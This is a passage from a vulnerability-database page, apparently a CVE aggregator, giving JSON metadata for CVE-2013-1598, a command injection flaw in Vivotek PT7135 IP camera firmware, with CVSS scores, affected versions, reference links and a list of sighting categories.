            "url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
          },
          {
            "name": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt",
            "refsource": "MISC",
            "url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
          },
          {
            "name": "https://packetstormsecurity.com/files/cve/CVE-2013-1598",
            "refsource": "MISC",
            "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1598"
          }
        ]
      }
    },
    "nvd.nist.gov": {
      "configurations": {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:o:vivotek:pt7135_firmware:0300a:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  },
                  {
                    "cpe23Uri": "cpe:2.3:o:vivotek:pt7135_firmware:0400a:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": true
                  }
                ],
                "operator": "OR"
              },
              {
                "children": [],
                "cpe_match": [
                  {
                    "cpe23Uri": "cpe:2.3:h:vivotek:pt7135:-:*:*:*:*:*:*:*",
                    "cpe_name": [],
                    "vulnerable": false
                  }
                ],
                "operator": "OR"
              }
            ],
            "cpe_match": [],
            "operator": "AND"
          }
        ]
      },
      "cve": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2013-1598"
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "en",
              "value": "A Command Injection vulnerability exists in Vivotek PT7135 IP Cameras 0300a and 0400a via the system.ntp parameter to the farseer.out binary file, which cold let a malicious user execute arbitrary code."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "en",
                  "value": "CWE-78"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83946",
              "refsource": "MISC",
              "tags": [
                "Third Party Advisory",
                "VDB Entry"
              ],
              "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83946"
            },
            {
              "name": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities",
              "refsource": "MISC",
              "tags": [
                "Exploit",
                "Third Party Advisory"
              ],
              "url": "https://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities"
            },
            {
              "name": "http://www.securityfocus.com/bid/59575",
              "refsource": "MISC",
              "tags": [
                "Third Party Advisory",
                "VDB Entry"
              ],
              "url": "http://www.securityfocus.com/bid/59575"
            },
            {
              "name": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt",
              "refsource": "MISC",
              "tags": [
                "Exploit",
                "Third Party Advisory"
              ],
              "url": "https://github.com/offensive-security/exploitdb/blob/master/exploits/hardware/webapps/25139.txt"
            },
            {
              "name": "https://packetstormsecurity.com/files/cve/CVE-2013-1598",
              "refsource": "MISC",
              "tags": [
                "Third Party Advisory",
                "VDB Entry"
              ],
              "url": "https://packetstormsecurity.com/files/cve/CVE-2013-1598"
            }
          ]
        }
      },
      "impact": {
        "baseMetricV2": {
          "acInsufInfo": false,
          "cvssV2": {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "SINGLE",
            "availabilityImpact": "COMPLETE",
            "baseScore": 9.0,
            "confidentialityImpact": "COMPLETE",
            "integrityImpact": "COMPLETE",
            "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
            "version": "2.0"
          },
          "exploitabilityScore": 8.0,
          "impactScore": 10.0,
          "obtainAllPrivilege": false,
          "obtainOtherPrivilege": false,
          "obtainUserPrivilege": false,
          "severity": "HIGH",
          "userInteractionRequired": false
        },
        "baseMetricV3": {
          "cvssV3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "exploitabilityScore": 2.8,
          "impactScore": 5.9
        }
      },
      "lastModifiedDate": "2020-01-31T18:57Z",
      "publishedDate": "2020-01-24T19:15Z"
    }
  }
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2013-1598 (GCVE-0-2013-1598)

FKIE_CVE-2013-1598

GHSA-JWV5-CMQR-FC8P

VAR-202001-0838

GSD-2013-1598

Tags

Sightings

Nomenclature